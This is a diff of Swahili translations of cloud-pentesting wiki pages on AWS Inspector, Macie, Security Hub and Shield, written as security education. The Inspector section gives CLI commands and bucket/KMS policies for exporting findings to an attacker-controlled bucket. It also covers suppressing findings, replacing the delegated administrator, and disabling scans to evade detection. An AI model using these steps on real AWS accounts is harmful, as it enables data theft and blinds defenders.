-Filters na sheria za kukandamiza katika Amazon Inspector husaidia kusimamia na kuweka kipaumbele matokeo. Filters zinakuruhusu kuboresha matokeo kulingana na vigezo maalum, kama vile ukali au aina ya rasilimali. Sheria za kukandamiza zinakuruhusu kukandamiza matokeo fulani ambayo yanachukuliwa kuwa hatari ndogo, tayari yamepunguziliwa, au kwa sababu nyingine muhimu, kuzuia kujaa kwa ripoti zako za usalama na kukuruhusu kuzingatia masuala muhimu zaidi. +Filters na sheria za kukandamiza katika Amazon Inspector husaidia kusimamia na kuweka kipaumbele findings. Filters zinakuwezesha kuboresha findings kulingana na vigezo maalum, kama vile ukali au aina ya rasilimali. Sheria za kukandamiza zinakuwezesha kukandamiza findings fulani ambazo zinachukuliwa kuwa hatari ndogo, tayari zimepunguzika, au kwa sababu nyingine muhimu, kuzuia kuzidisha ripoti zako za usalama na kukuwezesha kuzingatia masuala muhimu zaidi. #### Software Bill of Materials (SBOM) -Software Bill of Materials (SBOM) katika Amazon Inspector ni orodha ya hesabu ya ndani inayoweza kusafirishwa inayofafanua vipengele vyote ndani ya pakiti ya programu, ikiwa ni pamoja na maktaba na utegemezi. SBOM husaidia kutoa uwazi katika mnyororo wa usambazaji wa programu, ikiruhusu usimamizi bora wa udhaifu na kufuata sheria. Ni muhimu katika kutambua na kupunguza hatari zinazohusiana na vipengele vya programu za chanzo wazi na za wahusika wengine. +Software Bill of Materials (SBOM) katika Amazon Inspector ni orodha ya hesabu ya ndani inayoweza kusafirishwa ikielezea vipengele vyote ndani ya pakiti ya programu, ikiwa ni pamoja na maktaba na utegemezi. SBOMs husaidia kutoa uwazi katika mnyororo wa usambazaji wa programu, ikiruhusu usimamizi bora wa udhaifu na kufuata sheria. Ni muhimu kwa kutambua na kupunguza hatari zinazohusiana na vipengele vya programu za chanzo wazi na za wahusika wengine. ### Key features #### Export findings -Amazon Inspector inatoa uwezo wa kusafirisha matokeo kwa Amazon S3 Buckets, Amazon EventBridge na AWS Security Hub, ambayo inakuruhusu kuunda ripoti za kina za udhaifu na kufichuliwa kwa mtandao zilizotambuliwa kwa uchambuzi zaidi au kushiriki kwa tarehe na wakati maalum. Kipengele hiki kinaunga mkono muundo mbalimbali wa matokeo kama vile CSV na JSON, na kufanya iwe rahisi kuunganishwa na zana na mifumo mingine. Uwezo wa kusafirisha unaruhusu kubadilisha data iliyojumuishwa katika ripoti, ikikuruhusu kuchuja matokeo kulingana na vigezo maalum kama vile ukali, aina ya rasilimali, au kipindi cha tarehe na ikiwa kwa default inajumuisha matokeo yako yote katika Kanda ya AWS ya sasa yenye hali ya Active. +Amazon Inspector inatoa uwezo wa kusafirisha findings kwa Amazon S3 Buckets, Amazon EventBridge na AWS Security Hub, ambayo inakuwezesha kuunda ripoti za kina za udhaifu na kufichuliwa kwa mtandao kwa uchambuzi zaidi au kushiriki kwa tarehe na wakati maalum. Kipengele hiki kinaunga mkono fomati mbalimbali za pato kama CSV na JSON, na kufanya iwe rahisi kuunganishwa na zana na mifumo mingine. Uwezo wa kusafirisha unaruhusu kubadilisha data iliyojumuishwa katika ripoti, ikikuruhusu kuchuja findings kulingana na vigezo maalum kama vile ukali, aina ya rasilimali, au kipindi cha tarehe na ikiwa kwa default zote za findings zako katika Mkoa wa sasa wa AWS zikiwa na hali ya Active. -Wakati wa kusafirisha matokeo, funguo za Key Management Service (KMS) zinahitajika ili kuficha data wakati wa usafirishaji. Funguo za KMS zinahakikisha kuwa matokeo yaliyosafirishwa yanapewa ulinzi dhidi ya ufikiaji usioidhinishwa, na kutoa safu ya ziada ya usalama kwa taarifa nyeti za udhaifu. +Wakati wa kusafirisha findings, funguo za Key Management Service (KMS) zinahitajika ili kuficha data wakati wa usafirishaji. Funguo za KMS zinahakikisha kuwa findings zilizofichwa zinalindwa dhidi ya ufikiaji usioidhinishwa, zikitoa safu ya ziada ya usalama kwa taarifa nyeti za udhaifu. #### Amazon EC2 instances scanning -Amazon Inspector inatoa uwezo mzuri wa skanning kwa mifano ya Amazon EC2 ili kugundua udhaifu na masuala ya usalama. Inspector ililinganisha metadata iliyochukuliwa kutoka kwa mfano wa EC2 dhidi ya sheria kutoka kwa taarifa za usalama ili kutoa udhaifu wa pakiti na masuala ya upatikanaji wa mtandao. Skanning hizi zinaweza kufanywa kupitia **agent-based** au **agentless** mbinu, kulingana na usanidi wa **scan mode** wa akaunti yako. +Amazon Inspector inatoa uwezo mzuri wa skanning kwa Amazon EC2 instances ili kugundua udhaifu na masuala ya usalama. Inspector ililinganisha metadata iliyochukuliwa kutoka kwa EC2 instance dhidi ya sheria kutoka kwa taarifa za usalama ili kutoa udhaifu wa pakiti na masuala ya upatikanaji wa mtandao. Skanning hizi zinaweza kufanywa kupitia **agent-based** au **agentless** mbinu, kulingana na usanidi wa **scan mode** wa akaunti yako. -- **Agent-Based**: Inatumia wakala wa AWS Systems Manager (SSM) kufanya skanning za kina. Mbinu hii inaruhusu ukusanyaji wa data wa kina na uchambuzi moja kwa moja kutoka kwa mfano. -- **Agentless**: Inatoa mbadala mwepesi ambao hauhitaji kufunga wakala kwenye mfano, kuunda picha ya EBS ya kila kiasi cha mfano wa EC2, kutafuta udhaifu, na kisha kuifuta; ikitumia miundombinu iliyopo ya AWS kwa skanning. +- **Agent-Based**: Inatumia wakala wa AWS Systems Manager (SSM) kufanya skanning za kina. Njia hii inaruhusu ukusanyaji wa data wa kina na uchambuzi moja kwa moja kutoka kwa instance. +- **Agentless**: Inatoa chaguo nyepesi ambacho hakihitaji kufunga wakala kwenye instance, kuunda picha ya EBS ya kila kiasi cha EC2 instance, kutafuta udhaifu, na kisha kuifuta; ikitumia miundombinu iliyopo ya AWS kwa skanning. -Msimamo wa skanning unamua ni mbinu ipi itatumika kufanya skanning za EC2: +Njia ya skanning inamua ni mbinu ipi itatumika kufanya skanning za EC2: -- **Agent-Based**: Inahusisha kufunga wakala wa SSM kwenye mifano ya EC2 kwa ukaguzi wa kina. -- **Hybrid Scanning**: Inachanganya mbinu za agent-based na agentless ili kuongeza ufuatiliaji na kupunguza athari za utendaji. Katika mifano ya EC2 ambapo wakala wa SSM umewekwa, Inspector itafanya skanning ya agent-based, na kwa wale ambapo hakuna wakala wa SSM, skanning itakayofanywa itakuwa agentless. +- **Agent-Based**: Inahusisha kufunga wakala wa SSM kwenye EC2 instances kwa ukaguzi wa kina. +- **Hybrid Scanning**: Inachanganya mbinu za agent-based na agentless ili kuongeza ufanisi na kupunguza athari za utendaji. Katika EC2 instances hizo ambapo wakala wa SSM umewekwa, Inspector itafanya skanning ya agent-based, na kwa wale ambao hawana wakala wa SSM, skanning itakayofanywa itakuwa agentless. -Kipengele kingine muhimu ni **ukaguzi wa kina** kwa mifano ya EC2 Linux. Kipengele hiki kinatoa uchambuzi wa kina wa programu na usanidi wa mifano ya EC2 Linux, ikitoa tathmini za kina za udhaifu, ikiwa ni pamoja na udhaifu wa mfumo wa uendeshaji, udhaifu wa programu, na mipangilio isiyo sahihi, kuhakikisha tathmini ya usalama ya kina. Hii inapatikana kupitia ukaguzi wa **njia maalum** na kila moja ya saraka zake za ndani. Kwa default, Amazon Inspector itafanya skanning ya yafuatayo, lakini kila akaunti ya mwanachama inaweza kufafanua hadi njia 5 zaidi maalum, na kila msimamizi aliyeteuliwa hadi 10: +Kipengele kingine muhimu ni **ukaguzi wa kina** kwa EC2 Linux instances. Kipengele hiki kinatoa uchambuzi wa kina wa programu na usanidi wa EC2 Linux instances, kikitoa tathmini za kina za udhaifu, ikiwa ni pamoja na udhaifu wa mfumo wa uendeshaji, udhaifu wa programu, na usanidi mbaya, kuhakikisha tathmini kamili ya usalama. Hii inafanywa kupitia ukaguzi wa **custom paths** na kila moja ya saraka zake za ndani. Kwa default, Amazon Inspector itafanya skanning ya yafuatayo, lakini kila akaunti ya mwanachama inaweza kufafanua hadi njia 5 zaidi za kawaida, na kila msimamizi aliyeteuliwa hadi 10: - `/usr/lib` - `/usr/lib64` @@ -63,23 +63,23 @@ Kipengele kingine muhimu ni **ukaguzi wa kina** kwa mifano ya EC2 Linux. Kipenge Amazon Inspector inatoa uwezo mzuri wa skanning kwa picha za kontena za Amazon Elastic Container Registry (ECR), kuhakikisha kuwa udhaifu wa pakiti unagundulika na kusimamiwa kwa ufanisi. -- **Basic Scanning**: Hii ni skanning ya haraka na nyepesi inayotambua udhaifu wa pakiti za OS zinazojulikana katika picha za kontena kwa kutumia seti ya kawaida ya sheria kutoka mradi wa chanzo wazi wa Clair. Kwa usanidi huu wa skanning, hifadhi zako zitasafirishwa wakati wa kupakia, au kufanya skanning za mikono. +- **Basic Scanning**: Hii ni skanning ya haraka na nyepesi inayotambua udhaifu wa pakiti za OS zinazojulikana katika picha za kontena kwa kutumia seti ya kawaida ya sheria kutoka kwa mradi wa chanzo wazi wa Clair. Kwa usanidi huu wa skanning, hazina zako zitasafirishwa wakati wa kupakia, au kufanya skanning za mikono. - **Enhanced Scanning**: Chaguo hili linaongeza kipengele cha skanning endelevu pamoja na skanning wakati wa kupakia. Skanning iliyoboreshwa inaingia kwa undani katika tabaka za kila picha ya kontena ili kutambua udhaifu katika pakiti za OS na katika pakiti za lugha za programu kwa usahihi zaidi. Inachambua picha ya msingi na tabaka zozote za ziada, ikitoa mtazamo wa kina wa masuala ya usalama yanayoweza kutokea. #### Amazon Lambda functions scanning Amazon Inspector inajumuisha uwezo wa skanning wa kina kwa kazi za AWS Lambda na tabaka zake, kuhakikisha usalama na uadilifu wa programu zisizo na seva. Inspector inatoa aina mbili za skanning kwa kazi za Lambda: -- **Lambda standard scanning**: Kipengele hiki cha default kinatambua udhaifu wa programu katika utegemezi wa pakiti za programu zilizoongezwa kwenye kazi yako ya Lambda na tabaka. Kwa mfano, ikiwa kazi yako inatumia toleo la maktaba kama python-jwt lenye udhaifu unaojulikana, inazalisha matokeo. -- **Lambda code scanning**: Inachambua msimbo wa programu maalum kwa masuala ya usalama, ikitambua udhaifu kama vile kasoro za kuingiza, kufichuliwa kwa data, cryptography dhaifu, na ukosefu wa usimbaji. Inakamata vipande vya msimbo vinavyoonyesha udhaifu ulio gundulika, kama vile akidi za siri zilizowekwa kwa nguvu. Matokeo yanajumuisha mapendekezo ya kina ya kurekebisha na vipande vya msimbo vya kutatua masuala. +- **Lambda standard scanning**: Kipengele hiki cha default kinatambua udhaifu wa programu katika utegemezi wa pakiti za programu zilizoongezwa kwenye kazi yako ya Lambda na tabaka. Kwa mfano, ikiwa kazi yako inatumia toleo la maktaba kama python-jwt lenye udhaifu unaojulikana, inazalisha finding. +- **Lambda code scanning**: Inachambua msimbo wa programu wa kawaida kwa masuala ya usalama, ikitambua udhaifu kama vile kasoro za kuingiza, kufichuliwa kwa data, cryptography dhaifu, na ukosefu wa usimbaji. Inakamata vipande vya msimbo vinavyoonyesha udhaifu ulio gundulika, kama vile akidi za ndani. Findings zinajumuisha mapendekezo ya kina ya kurekebisha na vipande vya msimbo vya kutatua masuala hayo. #### **Center for Internet Security (CIS) scans** -Amazon Inspector inajumuisha skanning za CIS ili kupima mifumo ya uendeshaji ya mifano ya Amazon EC2 dhidi ya mapendekezo bora kutoka Kituo cha Usalama wa Mtandao (CIS). Skanning hizi zinahakikisha usanidi unafuata viwango vya usalama vya viwanda. +Amazon Inspector inajumuisha skanning za CIS ili kupima mifumo ya uendeshaji ya Amazon EC2 dhidi ya mapendekezo bora kutoka kwa Center for Internet Security (CIS). Skanning hizi zinahakikisha usanidi unafuata viwango vya usalama vya viwanda. -- **Configuration**: Skanning za CIS zinakadiria ikiwa usanidi wa mfumo unakidhi mapendekezo maalum ya CIS Benchmark, huku kila ukaguzi ukiunganishwa na kitambulisho cha ukaguzi wa CIS na kichwa. -- **Execution**: Skanning zinafanywa au kupanga kulingana na lebo za mfano na ratiba zilizofafanuliwa. -- **Results**: Matokeo baada ya skanning yanaonyesha ni ukaguzi gani ulipita, uliachwa, au ulifeli, na kutoa mwanga juu ya msimamo wa usalama wa kila mfano. +- **Configuration**: Skanning za CIS zinakagua ikiwa usanidi wa mfumo unakidhi mapendekezo maalum ya CIS Benchmark, huku kila ukaguzi ukiunganishwa na ID ya ukaguzi wa CIS na kichwa. +- **Execution**: Skanning zinafanywa au kupanga kulingana na lebo za instance na ratiba zilizofafanuliwa. +- **Results**: Matokeo ya baada ya skanning yanaonyesha ni ukaguzi gani ulipita, uliachwa, au ulishindwa, yakitoa mwanga juu ya msimamo wa usalama wa kila instance. ### Enumeration ```bash @@ -185,20 +185,22 @@ aws inspector list-rules-packages ### Post Exploitation > [!TIP] -> Kutoka kwa mtazamo wa mshambuliaji, huduma hii inaweza kumsaidia mshambuliaji kupata udhaifu na kufichuliwa kwa mtandao ambayo inaweza kumsaidia kuathiri mifano/containers mingine. +> Kutoka kwa mtazamo wa mshambuliaji, huduma hii inaweza kumsaidia mshambuliaji kupata udhaifu na kufichuliwa kwa mtandao ambayo yanaweza kumsaidia kuathiri mifano/containers nyingine. > -> Hata hivyo, mshambuliaji anaweza pia kuwa na hamu ya kuharibu huduma hii ili mwathirika asiweze kuona udhaifu (yote au maalum). +> Hata hivyo, mshambuliaji anaweza pia kuwa na hamu ya kuharibu huduma hii ili mwathirika asione udhaifu (zote au maalum). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -Mshambuliaji anaweza kuunda ripoti za kina za udhaifu au muswada wa vifaa vya programu (SBOMs) na kuzitoa kutoka kwa mazingira yako ya AWS. Taarifa hii inaweza kutumika kubaini udhaifu maalum, programu zisizosasishwa, au utegemezi usio salama, ikiruhusu mashambulizi yaliyolengwa. +Mshambuliaji anaweza kuunda ripoti za kina za udhaifu au orodha ya vifaa vya programu (SBOMs) na kuzitoa kutoka kwa mazingira yako ya AWS. Taarifa hii inaweza kutumika kubaini udhaifu maalum, programu zisizosasishwa, au utegemezi usio salama, ikiruhusu mashambulizi ya lengo. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` -1. **Unda Amazon S3 Bucket** na uambatishe sera ili iweze kufikiwa kutoka kwa mwathirika Amazon Inspector: +Mfano ufuatao unaonyesha jinsi ya kuhamasisha matokeo yote ya Active kutoka Amazon Inspector hadi kwenye Amazon S3 Bucket inayodhibitiwa na mshambuliaji pamoja na ufunguo wa Amazon KMS unaodhibitiwa na mshambuliaji: + +1. **Unda Amazon S3 Bucket** na uambatishe sera ili iweze kufikiwa kutoka kwa Amazon Inspector ya mwathirika: ```json { "Version": "2012-10-17", @@ -223,7 +225,7 @@ aws inspector2 create-sbom-report --report-format --s ] } ``` -2. **Unda funguo ya Amazon KMS** na uambatishe sera ili iweze kutumika na Amazon Inspector ya mwathirika: +2. **Unda ufunguo wa Amazon KMS** na uambatishe sera ili uweze kutumika na Amazon Inspector ya mwathirika: ```json { "Version": "2012-10-17", @@ -255,7 +257,7 @@ aws inspector2 create-sbom-report --report-format --s ] } ``` -3. Tekeleza amri ya **kuunda ripoti ya matokeo** kwa kuhamasisha: +3. Tekeleza amri ya **kuunda ripoti za matokeo** kwa kuzipeleka nje: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` @@ -263,7 +265,7 @@ aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -Mshambuliaji anaweza kufuta uundaji wa ripoti ya matokeo iliyotajwa au ripoti ya SBOM, kuzuia timu za usalama kupokea taarifa za wakati kuhusu udhaifu na bili ya vifaa vya programu (SBOMs), kuchelewesha kugundua na kurekebisha masuala ya usalama. +Mshambuliaji anaweza kufuta uundaji wa ripoti ya matokeo iliyotajwa au ripoti ya SBOM, kuzuia timu za usalama kupokea taarifa za wakati kuhusu udhaifu na bili ya vifaa vya programu (SBOMs), kuchelewesha ugunduzi na urejeleaji wa masuala ya usalama. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id @@ -274,7 +276,7 @@ aws inspector2 cancel-sbom-export --report-id #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -Mshambuliaji mwenye ruhusa hizi angeweza kubadilisha sheria za kuchuja ambazo zinatambulisha ni udhaifu gani na masuala ya usalama yanayoripotiwa au kufichwa (ikiwa **kitendo** kimewekwa kuwa SUPPRESS, sheria ya kuficha itaundwa). Hii inaweza kuficha udhaifu muhimu kutoka kwa wasimamizi wa usalama, na kufanya iwe rahisi kutumia udhaifu hizi bila kugunduliwa. Kwa kubadilisha au kuondoa filters muhimu, mshambuliaji pia angeweza kuunda kelele kwa kujaa mfumo na matokeo yasiyo na maana, na kuzuia ufuatiliaji wa usalama na majibu kuwa na ufanisi. +Mshambuliaji mwenye ruhusa hizi angeweza kubadilisha sheria za kuchuja ambazo zinatambulisha ni udhaifu gani na masuala ya usalama yanayoripotiwa au kuzuiwa (ikiwa **kitendo** kimewekwa kuwa SUPPRESS, sheria ya kuzuiwa itaundwa). Hii inaweza kuficha udhaifu muhimu kutoka kwa wasimamizi wa usalama, na kufanya iwe rahisi kutumia udhaifu hizi bila kugunduliwa. Kwa kubadilisha au kuondoa filters muhimu, mshambuliaji pia anaweza kuunda kelele kwa kujaa mfumo na matokeo yasiyo na maana, na kuzuia ufuatiliaji wa usalama na majibu kuwa na ufanisi. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -289,13 +291,13 @@ aws inspector2 delete-filter --arn Mshambuliaji anaweza kuharibu kwa kiasi kikubwa muundo wa usimamizi wa usalama. -- Kwa kuzima akaunti ya msimamizi aliyepewa, mshambuliaji anaweza kuzuia timu ya usalama kufikia na kusimamia mipangilio na ripoti za Amazon Inspector. +- Kwa kuzima akaunti ya msimamizi aliyeteuliwa, mshambuliaji anaweza kuzuia timu ya usalama kufikia na kusimamia mipangilio na ripoti za Amazon Inspector. - Kuwezesha akaunti ya msimamizi isiyoidhinishwa kutaruhusu mshambuliaji kudhibiti mipangilio ya usalama, huenda akazima skana au kubadilisha mipangilio ili kuficha shughuli mbaya. > [!WARNING] -> Inahitajika kwa akaunti isiyoidhinishwa kuwa katika Shirika moja na mwathirika ili kuwa msimamizi aliyepewa. +> Inahitajika kwa akaunti isiyoidhinishwa kuwa katika Shirika moja na mwathirika ili kuwa msimamizi aliyeteuliwa. > -> Ili akaunti isiyoidhinishwa iweze kuwa msimamizi aliyepewa, inahitajika pia kwamba baada ya msimamizi halali aliyepewa kuzimwa, na kabla ya akaunti isiyoidhinishwa kuwezeshwa kama msimamizi aliyepewa, msimamizi halali lazima aondolewe kama msimamizi aliyepewa kutoka shirika. Hii inaweza kufanywa kwa amri ifuatayo (**`organizations:DeregisterDelegatedAdministrator`** ruhusa inahitajika): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** +> Ili akaunti isiyoidhinishwa iweze kuwa msimamizi aliyeteuliwa, inahitajika pia kwamba baada ya msimamizi halali aliyeteuliwa kuzuiwa, na kabla ya akaunti isiyoidhinishwa kuwezeshwa kama msimamizi aliyeteuliwa, msimamizi halali lazima aondolewe kama msimamizi aliyeteuliwa kutoka shirika. Hii inaweza kufanywa kwa amri ifuatayo (**`organizations:DeregisterDelegatedAdministrator`** ruhusa inahitajika): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id @@ -306,7 +308,7 @@ aws inspector2 enable-delegated-admin-account --delegated-admin-account-id [!WARNING] > Kitendo hiki kinahitaji kufanywa na msimamizi aliyepewa mamlaka. @@ -316,11 +318,11 @@ aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **Madhara Yanayoweza Kutokea**: Kutengwa kwa akaunti muhimu kutoka kwa skana za usalama, kuruhusu matumizi mabaya yasiyogundulika ya udhaifu. +- **Madhara Yanayoweza Kutokea**: Kutengwa kwa akaunti muhimu kutoka kwa skana za usalama, kuweza kuruhusu matumizi mabaya yasiyogundulika ya udhaifu. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -Mshambuliaji mwenye ruhusa ya `inspector2:Disable` angeweza kuzima skana za usalama kwenye aina maalum za rasilimali (EC2, ECR, Lambda, Lambda code) juu ya akaunti zilizotajwa, na kuacha sehemu za mazingira ya AWS bila ufuatiliaji na hatarini kwa mashambulizi. Zaidi ya hayo, kutokana na ruhusa za **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, mshambuliaji angeweza kisha kurejesha skana kwa kuchagua ili kuepuka kugundulika kwa usanidi wa kushangaza. +Mshambuliaji mwenye ruhusa ya `inspector2:Disable` angeweza kuzima skana za usalama kwenye aina maalum za rasilimali (EC2, ECR, Lambda, Lambda code) juu ya akaunti zilizotajwa, na kuacha sehemu za mazingira ya AWS zisizofuatiliwa na hatarini kwa mashambulizi. Zaidi ya hayo, kutokana na ruhusa za **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, mshambuliaji angeweza kurejesha skana kwa kuchagua ili kuepuka kugundulika kwa usanidi wa mashaka. > [!WARNING] > Kitendo hiki kinahitaji kufanywa na msimamizi aliyepewa mamlaka. @@ -337,7 +339,7 @@ aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--acco Mshambuliaji mwenye ruhusa hii angeweza kuboresha mipangilio ya shirika lako la Amazon Inspector, ikihusisha vipengele vya skanning vya default vilivyowekwa kwa akaunti mpya za wanachama. > [!WARNING] -> Kitendo hiki kinahitaji kufanywa na msimamizi aliyepewa mamlaka. +> Hatua hii inahitaji kufanywa na msimamizi aliyepewa mamlaka. ```bash aws inspector2 update-organization-configuration --auto-enable ``` @@ -345,7 +347,7 @@ aws inspector2 update-organization-configuration --auto-enable --tags aws inspector2 untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index a137fb358..4354564a1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,13 +6,13 @@ ## Macie -Amazon Macie inajitokeza kama huduma iliyoundwa ili **gundua, kuainisha, na kutambua data** ndani ya akaunti ya AWS kiotomatiki. Inatumia **ujifunzaji wa mashine** ili kuendelea kufuatilia na kuchambua data, ikilenga hasa kugundua na kutoa tahadhari dhidi ya shughuli zisizo za kawaida au za kutatanisha kwa kuchunguza **data ya tukio la wingu** na mifumo ya tabia za watumiaji. +Amazon Macie inajitokeza kama huduma iliyoundwa ili **kutambua, kuainisha, na kubaini data** ndani ya akaunti ya AWS. Inatumia **machine learning** ili kuendelea kufuatilia na kuchambua data, ikilenga hasa kutambua na kutoa tahadhari dhidi ya shughuli zisizo za kawaida au za kutatanisha kwa kuchunguza **cloud trail event** data na mifumo ya tabia za watumiaji. Vipengele Muhimu vya Amazon Macie: -1. **Mapitio ya Data ya Kazi**: Inatumia ujifunzaji wa mashine kukagua data kwa njia ya kazi mbalimbali zinapotokea ndani ya akaunti ya AWS. -2. **Gundua Mambo Yasiyo ya Kawaida**: Inatambua shughuli zisizo za kawaida au mifumo ya ufikiaji, ikizalisha tahadhari ili kupunguza hatari za uwezekano wa kufichika kwa data. -3. **Ufuatiliaji Endelevu**: Inafuatilia na kugundua data mpya katika Amazon S3 kiotomatiki, ikitumia ujifunzaji wa mashine na akili bandia kubadilika kulingana na mifumo ya ufikiaji wa data kwa muda. +1. **Mapitio ya Data ya Kazi**: Inatumia machine learning kukagua data kwa njia ya kazi mbalimbali zinapotokea ndani ya akaunti ya AWS. +2. **Utambuzi wa Anomalies**: Inatambua shughuli zisizo za kawaida au mifumo ya ufikiaji, ikizalisha tahadhari ili kupunguza hatari za uwezekano wa kufichika kwa data. +3. **Ufuatiliaji Endelevu**: Inafuatilia na kutambua data mpya katika Amazon S3, ikitumia machine learning na akili bandia kubadilika kulingana na mifumo ya ufikiaji wa data kwa muda. 4. **Uainishaji wa Data kwa NLP**: Inatumia usindikaji wa lugha asilia (NLP) kuainisha na kutafsiri aina mbalimbali za data, ikitoa alama za hatari ili kuipa kipaumbele matokeo. 5. **Ufuatiliaji wa Usalama**: Inatambua data nyeti za usalama, ikiwa ni pamoja na funguo za API, funguo za siri, na taarifa za kibinafsi, kusaidia kuzuia kufichika kwa data. @@ -20,7 +20,7 @@ Amazon Macie ni **huduma ya kikanda** na inahitaji 'AWSMacieServiceCustomerSetup ### Mfumo wa Tahadhari -Macie inakategorisha tahadhari katika makundi yaliyoainishwa kama: +Macie inagawanya tahadhari katika makundi yaliyoainishwa kama: - Ufikiaji wa Anonymized - Uzingatiaji wa Data @@ -33,16 +33,16 @@ Tahadhari hizi zinatoa maelezo ya kina na ufafanuzi wa matokeo kwa ajili ya maji ### Vipengele vya Dashibodi -Dashibodi inakategorisha data katika sehemu mbalimbali, ikiwa ni pamoja na: +Dashibodi inagawanya data katika sehemu mbalimbali, ikiwa ni pamoja na: - Vitu vya S3 (kwa muda, ACL, PII) -- Matukio ya CloudTrail yenye hatari kubwa/kazi +- Matukio/matumizi ya CloudTrail yenye hatari kubwa - Mahali pa Shughuli - Aina za utambulisho wa mtumiaji wa CloudTrail, na zaidi. ### Uainishaji wa Watumiaji -Watumiaji wanaainishwa katika ngazi kulingana na kiwango cha hatari ya simu zao za API: +Watumiaji wanaainishwa katika ngazi kulingana na kiwango cha hatari cha simu zao za API: - **Platinum**: Simu za API zenye hatari kubwa, mara nyingi zikiwa na mamlaka ya admin. - **Gold**: Simu za API zinazohusiana na miundombinu. @@ -51,7 +51,7 @@ Watumiaji wanaainishwa katika ngazi kulingana na kiwango cha hatari ya simu zao ### Aina za Utambulisho -Aina za utambulisho zinajumuisha Root, mtumiaji wa IAM, Jukumu lililodhaniwa, Mtumiaji wa Shirikisho, Akaunti ya AWS, na Huduma ya AWS, ikionyesha chanzo cha maombi. +Aina za utambulisho zinajumuisha Root, IAM user, Assumed Role, Federated User, AWS Account, na AWS Service, zikionyesha chanzo cha maombi. ### Uainishaji wa Data @@ -62,11 +62,11 @@ Uainishaji wa data unajumuisha: - Mada: Imeainishwa kwa maneno muhimu ndani ya faili. - Regex: Imeainishwa kulingana na mifumo maalum ya regex. -Hatari ya juu zaidi kati ya makundi haya inamua kiwango cha hatari cha faili. +Hatari ya juu kati ya makundi haya inamua kiwango cha hatari cha faili. ### Utafiti na Uchambuzi -Kazi ya utafiti ya Amazon Macie inaruhusu maswali maalum katika data yote ya Macie kwa uchambuzi wa kina. Filters zinajumuisha Data ya CloudTrail, mali za S3 Bucket, na Vitu vya S3. Zaidi ya hayo, inasaidia kuwalika akaunti nyingine kushiriki Amazon Macie, ikirahisisha usimamizi wa data wa pamoja na ufuatiliaji wa usalama. +Kazi ya utafiti ya Amazon Macie inaruhusu maswali maalum katika data yote ya Macie kwa uchambuzi wa kina. Filters zinajumuisha Data ya CloudTrail, mali za S3 Bucket, na Vitu vya S3. Aidha, inasaidia kuwalika akaunti nyingine kushiriki Amazon Macie, ikirahisisha usimamizi wa data wa pamoja na ufuatiliaji wa usalama. ### Enumeration ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 2014514bc..a13645469 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -10,7 +10,7 @@ In **kuzingatia tahadhari zinazohusiana na usalama kati ya akaunti**, na inatoa **Sifa** -- Mikoa (matokeo hayapiti mikoa) +- Kanda (matokeo hayawezi kuvuka mikoa) - Msaada wa akaunti nyingi - Matokeo kutoka: - Guard Duty @@ -18,7 +18,7 @@ In **kuzingatia tahadhari zinazohusiana na usalama kati ya akaunti**, na inatoa - Inspector - Macie - washirika wa tatu -- yaliyoundwa mwenyewe dhidi ya viwango vya CIS +- iliyojitengeneza dhidi ya viwango vya CIS ## Enumeration ``` @@ -49,11 +49,11 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` -## Bypass Detection +## Kupita Ugunduzi -TODO, PRs accepted +TODO, PRs zinakubaliwa -## References +## Marejeo - [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info) - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index 05ed60001..cd42f900d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -8,7 +8,7 @@ AWS Shield imeundwa kusaidia **kulinda miundombinu yako dhidi ya mashambulizi ya **AWS Shield Standard** ni **bure** kwa kila mtu, na inatoa **ulinzi wa DDoS** dhidi ya baadhi ya mashambulizi ya kawaida ya tabaka tatu, **tabaka la mtandao**, na 